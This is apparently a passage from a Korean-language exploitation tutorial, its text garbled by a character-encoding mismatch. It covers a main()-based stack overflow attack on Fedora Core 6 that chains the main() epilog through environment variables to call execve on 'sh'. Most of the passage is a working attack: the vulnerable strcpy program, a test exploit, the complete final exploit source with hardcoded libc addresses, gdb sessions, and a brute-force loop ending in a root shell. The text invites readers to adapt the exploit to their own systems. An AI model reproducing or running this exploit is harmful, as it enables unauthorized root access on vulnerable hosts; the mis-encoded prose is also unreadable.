+-------------------+ <<-----------------------------------------------------------------+ | ret(pop %eip) |: ¨é 4byte¾¿ %esp À̵¿ | +-------------------+ | | ret(pop %eip) |: ¨é 4byte¾¿ %esp À̵¿ | +-------------------+ | | ret(pop %eip) |: ¨é 4byte¾¿ %esp À̵¿ | +-------------------+ | | ... |: ¨é 4byte¾¿ %esp À̵¿ | +-------------------+ | | main() epilog |: ¨ê main() ÇÔ¼öÀÇ ¿¡Çʷα׸¦ ´Ù½Ã È£Ãâ. -----------------------+ | +-------------------+ | | | 0x??????00 |: ¨ç º¹±¸µÇ´Â %ecx ·¹Áö½ºÅÍÀÇ ¸¶Áö¸· byte°¡ null·Î ¹Ù²î¸é¼­, ---+---+ +-------------------+ | | ... | | +-------------------+ | | argument0 pointer |: argument pointer ½ÃÀÛ ºÎºÐ. | +-------------------+ | | argument1 pointer | | +-------------------+ | | null(0x00000000) |: argument pointer ³¡ ºÎºÐ. | +-------------------+ | | environ0 pointer |: ȯ°æ º¯¼ö pointer ½ÃÀÛ ºÎºÐ. | +-------------------+ | | environ1 pointer | | +-------------------+ | | environ2 pointer | | +-------------------+ | | environ3 pointer | | +-------------------+ | | ... | | +-------------------+ | | environ25 pointer | | +-------------------+: 27 ¹øÂ° ȯ°æ º¯¼ö pointer | | environ26 pointer | <<-------------------------------------------------------------+ +-------------------+: ¨ë º¯Á¶µÈ %esp ·¹Áö½ºÅÍ À§Ä¡¿¡¼­ %ecx¸¦ pop ÇÑ´Ù. -----------------------------+ | environ27 pointer | | +-------------------+ | | ... | | +-------------------+ | ... | | ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ | V | | ȯ°æ º¯¼ö ±¸¼º: | | À§ÀÇ ¹è¿­ 256°³ÀÇ ÇÁ·Î±×·¥¿¡¼­ ¹ß»ýÇÑ stack overflowÀÇ °æ¿ì, main() ÇÔ¼ö ¿¡Çʷα׸¦ ¹Ýº¹ ¼öÇàÇØÁÖ¸é, | %ecx ·¹Áö½ºÅÍ´Â 27 ¹øÂ°·Î ¼³Á¤µÈ ȯ°æ º¯¼ö À§Ä¡¸¦ °¡¸®Å°°Ô µÈ´Ù. %ecx - 4 À§Ä¡¸¦ return address·Î | ÀνÄÇϹǷÎ, 27 ¹øÂ° ȯ°æ º¯¼ö - 4 À§Ä¡¿¡ ÀÖ´Â 26 ¹øÂ° ȯ°æ º¯¼ö¿¡ µé¾î°¡´Â ³»¿ëÀÌ return address°¡ | µÈ´Ù. ¾Æ·¡ ±¸¼ºµÈ Äڵ带 »ìÆìº¸¸é, 26 ¹øÂ° ȯ°æ º¯¼ö¿¡ execve() ÇÔ¼ö ÁÖ¼Ò°¡ µé¾î°¡´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. | | ... | +------------------+ | | execve() ÁÖ¼Ò |: execve() ÇÔ¼ö ÁÖ¼Ò (%ecx - 4 À§Ä¡°¡ µÉ 26 ¹øÂ° ȯ°æ º¯¼ö) | +------------------+ | | "XXXX" |: 4byte dummy (27 ¹øÂ° ȯ°æ º¯¼ö: environ26) <<-----------------------------------+ +------------------+ | "/bin/sh" ÁÖ¼Ò |: execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ°¡ µÊ (¶óÀ̺귯¸® ³»ÀÇ "sh" ÁÖ¼Ò¸¦ ã¾Æ ³ÖÀ½) +------------------+ | '\0' |: execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ°¡ µÊ (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' |: execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ°¡ µÊ (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ ... ------------------------------------------------------------------------------------------------------------- ¾ÆÁ÷±îÁö ¼³¸íÇÑ ³»¿ëÀ» ÀÌÇØÇÏÁö ¸øÇß´Ù¸é, µµ½ÄÈ­µÈ ±×¸²ÀÇ ¹øÈ£ ¼ø¼­¿Í È­»ìÇ¥ ¹æÇâ´ë·Î µû¶ó°¡¸ç ºÐ¼®ÇÑ ÈÄ, ¸Ó¸® ¼ÓÀ¸·Î ´Ù½Ã ±×·Áº¸±æ ¹Ù¶õ´Ù. ±×·¡µµ ÀÌÇØ°¡ ¾È°¡´Â ºÐµéÀº, °è¼ÓÇØ¼­ ¾Æ·¡ exploit ³»¿ëµéÀ» ºÐ¼®Çغ¸¸é¼­ ¿øÇÏ´Â ´äÀ» ¾ò±æ ¹Ù¶õ´Ù. 0x4) exploit ÄÚµå ÀÛ¼ºÇϱ⠰£´ÜÇÑ ºÐ¼® °úÁ¤À» °ÅÄ£ ÈÄ, exploitÀ» ÀÛ¼ºÇغ¸µµ·Ï ÇϰڴÙ. Âü°í·Î ¸ðµç ³»¿ëÀº Fedora core 6 ½Ã½ºÅÛ¿¡¼­ °ËÁõµÈ °ÍÀÌ´Ù. ¸ÕÀú Ãë¾àÁ¡ÀÌ ÀÖ´Â °ø°Ý ´ë»ó ÄÚµå´Â ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- °ø°Ý ´ë»ó ÄÚµå: int main(int argc,char *argv[]){ char buf[256]; strcpy(buf,argv[1]); } ------------------------------------------------------------------------------------------------------------- ¸Å¿ì ÀϹÝÀûÀÎ main() frame ¹üÀ§ stack ±â¹Ý overflow Ãë¾àÁ¡ÀÌ ¹ß»ýÇÏ´Â ¼Ò½º ÄÚµåÀÌ´Ù. ÇØ´ç Äڵ带 °ø°ÝÇϱâ À§ÇÑ test exploitÀº ´ÙÀ½°ú °°´Ù. ------------------------------------------------------------------------------------------------------------- ½ÃÇèÀ» À§ÇÑ test exploit: /* test exploit */ int main() { char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "A26", /* 26 */ "A27", /* 27 */ "A28", /* 28 */ "A29", /* 29 */ "A30", /* 30 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* 0x08048382 : main() epilog */ 0}; execve("./strcpy",arguments,environs); } ------------------------------------------------------------------------------------------------------------- Àß »ìÆì º¸¸é, ½ÃÇèÀ» À§ÇØ 30°³ÀÇ È¯°æ º¯¼ö¸¦ ÇÒ´çÇØµÐ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ±×¸®°í, Áö¿ª º¯¼ö 252°³¸¦ ÀüºÎ ret code·Î ä¿ü´Ù. ÃÑ 63¹ø ret code¸¦ È£ÃâÇÏ¿© %esp ·¹Áö½ºÅ͸¦ 4byte¾¿ À̵¿½ÃŲ´Ù. ±×¸®°í, ¸¶Áö¸·À¸·Î main() ÇÔ¼öÀÇ ¿¡ÇÊ·Î±× ÁÖ¼Ò¸¦ ³Ö¾î ÀÓÀÇÀûÀ¸·Î ¿¡Çʷαװ¡ ¶Ç ¹ß»ýÇϵµ·Ï ¸¸µé¾ú´Ù. ÀÚ, ±×·³ ½ÃÇèÀ» ÅëÇØ exploitÀ» ¿Ï¼ºÇغ¸µµ·Ï ÇϰڴÙ. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gcc -o strcpy strcpy.c strcpy.c: In function ?ain? strcpy.c:3: warning: incompatible implicit declaration of built-in function ?trcpy? [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048354 : lea 0x4(%esp),%ecx 0x08048358 : and $0xfffffff0,%esp 0x0804835b : pushl 0xfffffffc(%ecx) 0x0804835e : push %ebp 0x0804835f : mov %esp,%ebp 0x08048361 : push %ecx 0x08048362 : sub $0x114,%esp 0x08048368 : mov 0x4(%ecx),%eax 0x0804836b : add $0x4,%eax 0x0804836e : mov (%eax),%eax 0x08048370 : mov %eax,0x4(%esp) 0x08048374 : lea 0xfffffefc(%ebp),%eax 0x0804837a : mov %eax,(%esp) 0x0804837d : call 0x8048298 0x08048382 : add $0x114,%esp <<--- main() ÇÔ¼ö ¿¡ÇÊ·Î±× ½ÃÀÛ ºÎºÐ 0x08048388 : pop %ecx 0x08048389 : pop %ebp 0x0804838a : lea 0xfffffffc(%ecx),%esp 0x0804838d : ret 0x0804838e : nop 0x0804838f : nop End of assembler dump. (gdb) q [root@localhost main_based]# gcc -o test test.c <<--- test exploit ½ÃÇè [root@localhost main_based]# gdb test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/main_based/test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00363241 in ?? () from /lib/libc.so.6 <<--- A26À» return address·Î ¼öÇàÇßÀ½. (gdb) x $esp 0xbff9afe3: 0x00373241 (gdb) x/s $esp 0xbff9afe3: "A27" (gdb) x/s $ecx 0xbff9afe3: "A27" (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# ------------------------------------------------------------------------------------------------------------- À§ °á°ú¸¦ º¸¸é, %ecx ·¹Áö½ºÅÍ´Â 27 ¹øÂ° ȯ°æ º¯¼ö Æ÷ÀÎÅͰ¡ pop µÈ °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. %esp ·¹Áö½ºÅÍ´Â %ecx - 4 À§Ä¡À̹ǷÎ, 26 ¹øÂ° ȯ°æ º¯¼ö À§Ä¡°¡ µÈ´Ù. ÀÌ »óÅ¿¡¼­ pop %eip°¡ ¼öÇàµÇ¸é, return address´Â 0x00363241 Áï, "A26"ÀÌ µÈ´Ù. ÀÌÁ¦ ºÐ¼®µÈ ³»¿ëÀ» Åä´ë·Î ´ÙÀ½°ú °°ÀÌ exploitÀ» ÀÛ¼ºÇÑ´Ù. ------------------------------------------------------------------------------------------------------------- ½ÇÁ¦ °ø°Ý exploit: /* 0x82-x_strcpy.c */ int main() { // main() epilog: 0x08048382 // main() ret: 0x0804838d char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "\xff\xdb\x19\x00", /* 26 */ // A26: 0x19dda0 execve(); "A27", /* 27 */ "\xa2\xf2\x22\x00", /* 28 */ // A28: 0x22f2a2 "\x00", /* 29 */ // A29: 0x00000000 "\x00", /* 30 */ "\x00", /* 31 */ "\x00", /* 32 */ "\x00", /* 33 */ // A33: 0x00000000 "\x00", /* 34 */ "\x00", /* 35 */ "\x00", /* 36 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* main() epilog */ 0}; execve("./strcpy",arguments,environs); } ------------------------------------------------------------------------------------------------------------- 26 ¹øÂ° ȯ°æ º¯¼ö °ªÀÌ return address°¡ µÇ¾úÀ¸¹Ç·Î, ÀÌ È¯°æ º¯¼ö °ª¿¡ execve() ÇÔ¼ö ÁÖ¼Ò¸¦ ³Ö¾ú´Ù. 27 ¹øÂ° ȯ°æ º¯¼ö´Â %ecx ·¹Áö½ºÅÍ À§Ä¡°¡ µÇ¸ç, ´ÙÀ½ 28 ¹øÂ° ȯ°æ º¯¼öºÎÅÍ execve() ÇÔ¼öÀÇ ÀÎÀÚ°¡ µÈ´Ù. 28 ¹øÂ° ȯ°æ º¯¼ö´Â execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀڷνá, ¶óÀ̺귯¸® ¸Þ¸ð¸® ³»¿¡ »óÁÖÇÏ´Â "sh" ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ ³Ö¾îÁÖ¾ú´Ù. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) br *main Breakpoint 1 at 0x8048354 (gdb) r test Starting program: /tmp/main_based/strcpy test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048354 in main () (gdb) x execve 0x19dc00 : 0x8908ec83 (gdb) x 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: 0x65006873 (gdb) x/s 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: "sh" <<--- execve() ÇÔ¼ö°¡ 0x19dc00ÀÏ ¶§, "sh" ¹®ÀÚ¿­ÀÇ À§Ä¡ (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# ------------------------------------------------------------------------------------------------------------- 29 ¹øÂ° º¯¼öºÎÅÍ, 30, 31, 32 ¹øÂ° º¯¼ö±îÁö null °ª 4byte°¡ execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ·Î µé¾î°£´Ù. ȯ°æ º¯¼ö¿¡ À̾îÁö´Â 4byte null °ªÀ» Çѹø¿¡ ¼±¾ðÇÒ ¼ö ¾øÀ¸¹Ç·Î, °¢ 1byte¾¿ ÃÑ 4¹øÀ» ³ª´©¾î ¼±¾ðÇØÁØ °ÍÀÌ´Ù. execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ·Î µé¾î°¡´Â null °ª 4byteµµ ¸¶Âù°¡Áö·Î, 33 ¹øÂ° º¯¼öºÎÅÍ 36 ¹øÂ° º¯¼ö±îÁö 4¹ø¿¡ ³ª´©¾î null °ªÀ» ¼±¾ðÇØÁÖ¾ú´Ù. exploitÀ» µð¹ö±ë ÇØº¸¸é, ´ÙÀ½°ú °°ÀÌ execve() ÀÎÀÚ°¡ µé¾î°¡´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gdb 0x82-x_strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r ... (execve() ÇÔ¼ö°¡ È£ÃâµÉ ¶§±îÁö ¿©·¯¹ø ¹Ýº¹ ½ÇÇà) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/main_based/0x82-x_strcpy (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00373241 in ?? () (gdb) x $esp 0xbfb96fe7: 0x0022f2a2 <<--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ (gdb) 0xbfb96feb: 0x00000000 <<--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ (gdb) 0xbfb96fef: 0x00000000 <<--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ (gdb) execve() ÇÔ¼ö°¡ È£ÃâµÈ ±¸Á¶: execve(0x0022f2a2,0x00000000,0x00000000); ------------------------------------------------------------------------------------------------------------- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ¿¡´Â ¹®ÀÚ¿­ "sh"°¡ µé¾î°¬°í, µÎ ¹øÂ°, ¼¼ ¹øÂ° ÀÎÀÚ´Â ¿ì¸®ÀÇ ¿¹Ãø´ë·Î null °ªÀÌ µé¾î°£ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ÀÌÁ¦ ¸¶Áö¸·À¸·Î "sh" ÇÁ·Î±×·¥À» ÀÛ¼ºÇÑ ÈÄ, °ø°ÝÇØº¸µµ·Ï ÇϰڴÙ. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# cat > sh.c int main() { execl("/bin/sh","sh",0); } [root@localhost main_based]# gcc -o sh sh.c sh.c: In function ?ain? sh.c:3: warning: incompatible implicit declaration of built-in function ?xecl? [root@localhost main_based]# gcc -o 0x82-x_strcpy 0x82-x_strcpy.c [root@localhost main_based]# while [ 1 ] ; do ./0x82-x_strcpy ; done Segmentation fault Segmentation fault Segmentation fault Segmentation fault sh-3.1# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-3.1# ------------------------------------------------------------------------------------------------------------- ±ú²ýÇÏ°Ô shellÀÌ ½ÇÇàµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. Áö±Ý±îÁö ¼³¸íÇÑ ºÐ¼® ¹æ¹ýÀ» ÅëÇØ ¿©·¯ºÐµéÀÇ ½Ã½ºÅÛ È¯°æ¿¡ ¸Â´Â Äڵ带 ÀÛ¼ºÇÏ¿© °ø°ÝÇØº¸±æ ¹Ù¶õ´Ù. 0x5) °á·Ð Áö±Ý±îÁö Fedora core 5 ½Ã½ºÅÛ À̻󿡼­ ´Þ¶óÁø main() ÇÔ¼ö stack overflow °ø°Ý ±â¹ý¿¡ ´ëÇØ ¿¬±¸Çغ¸¾Ò´Ù. ³» »ý°¢¿¡´Â ÀÌ ¹æ¹ý ¸»°íµµ ¿©·¯°¡Áö ´Ù¸¥ ¹æ¹ýÀ¸·Î exploitÀÌ °¡´ÉÇÒ²¨¶ó ¹Ï°í ÀÖ´Ù. ´õ ÈǸ¢Çϰí Àç¹ÌÀÖ´Â exploit ±â¹ýÀ» ¹ß°ßÇÏ°Ô µÈ´Ù¸é, ³ª¿¡°Ô ¸ÞÀÏ·Î ¿¬¶ôÁֱ⠹ٶõ´Ù. P.S: ¿äÁò, ¸î °³¿ùµ¿¾È ¹Ð·ÁÀÖ´ø ¹®¼­µéÀ» º­¶ôÄ¡±â·Î ÀÛ¼ºÇϰí ÀÖ½À´Ï´Ù. ¸Ó¸® ¼Ó¿¡¸¸ ÀÖ´Â ³»¿ëµéÀ» ¸»·Î ²ôÁý¾î³»·Á´Ï ¼³¸íÇϱ⠾î·Á¿î ºÎºÐµéÀÌ ¸¹Àº °Í °°³×¿ä. Áö±Ýµµ ±× ³»¿ëµéÀ» ´Ù ²¨³»Áö ¸øÇÑ °Í °°¾Æ ¾Æ½¬¿òÀÌ ³²½À´Ï´Ù. Fedora core ½Ã½ºÅÛ ºÐ¼®Àº ÀÌÁ¦ ÀÌ Á¤µµ·Î ÇØµÎ·Á ÇÕ´Ï´Ù. ¾ÕÀ¸·Î -pie ÂÊ exploit ±â¹ýÀ̳ª heap exploit ±â¹ýÀÌ ¿¬±¸µÇ¸é ¶Ç Àç¹ÌÀÖ´Â °á°ú¹°µéÀ» °¡Áö°í ³ªÁß¿¡ ´Ù½Ã ã¾ÆºËµµ·Ï ÇϰڽÀ´Ï´Ù. ±×µ¿¾È Àç¹Ì¾ø´Â ¹®¼­µé ÀÌ·¸°Ô ³¡±îÁö ÀоîÁֽŠ¿©·¯ºÐµé²² Áø½ÉÀ¸·Î °¨»çµå¸³´Ï´Ù. 0x6) ·¹ÆÛ·±½º - Stack Shield: http://www.angelfire.com/sk/stackshield/ - The Frame Pointer Overwrite (klog) - BYPASSING STACKGUARD AND STACKSHIELD (Bulba and Kil3r ) - Fedora Core3 ½Ã½ºÅÛ local ±â¹Ý ·£´ý ½ºÅà ¹«·ÂÈ­(?) ±â¹ý (ÀÛ¼ºÀÚ: À¯µ¿ÈÆ) - Fedora Core 4,5,6 ³»¿¡¼­ local ½ºÅà ±â¹Ý overflow exploit ¹æ¹ý (ÀÛ¼ºÀÚ: À¯µ¿ÈÆ) - Fedora Core 4,5,6 ³»¿¡¼­ local ½ºÅà ±â¹Ý overflow exploit ¹æ¹ý #2 (ÀÛ¼ºÀÚ: À¯µ¿ÈÆ)